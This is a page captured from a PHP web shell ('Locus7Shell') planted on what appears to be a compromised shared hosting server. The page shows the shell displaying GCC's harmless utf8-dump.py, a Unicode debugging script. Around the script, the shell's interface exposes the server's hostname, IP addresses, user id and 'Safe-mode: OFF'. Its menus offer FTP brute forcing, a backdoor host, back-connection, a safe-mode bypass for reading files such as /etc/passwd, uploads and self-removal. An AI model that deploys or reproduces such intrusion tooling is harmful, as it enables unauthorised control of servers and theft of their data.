Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/contrib/unicode/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     utf8-dump.py (2.47 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env python3
#
# Script to dump a UTF-8 file as a list of numbered lines (mimicking GCC's
# diagnostic output format), interleaved with lines per character showing
# the Unicode codepoints, the UTF-8 encoding bytes, the name of the
# character, and, where printable, the characters themselves.
# The lines are printed in logical order, which may help the reader to grok
# the relationship between visual and logical ordering in bi-di files.
#
# SPDX-License-Identifier: MIT
#
# Copyright (C) 2021 David Malcolm <dmalcolm@redhat.com>.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
# OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
# OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

import sys
import unicodedata


def get_name(ch):
    try:
        return unicodedata.name(ch)
    except ValueError:
        if ch == '\n':
            return 'LINE FEED (LF)'
        return '(unknown)'


def get_printable(ch):
    cat = unicodedata.category(ch)
    if cat == 'Cc':
        return '(control character)'
    elif cat == 'Cf':
        return '(format control)'
    elif cat[0] == 'Z':
        return '(separator)'
    return ch


def dump_file(f_in):
    line_num = 1
    for line in f_in:
        print('%4i | %s' % (line_num, line.rstrip()))
        for ch in line:
            utf8_desc = '%15s' % (' '.join(['0x%02x' % b
                                            for b in ch.encode('utf-8')]))
            print('%4s |   U+%04X %s %40s %s'
                  % ('', ord(ch), utf8_desc, get_name(ch), get_printable(ch)))
        line_num += 1


with open(sys.argv[1], mode='r') as f_in:
    dump_file(f_in)

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--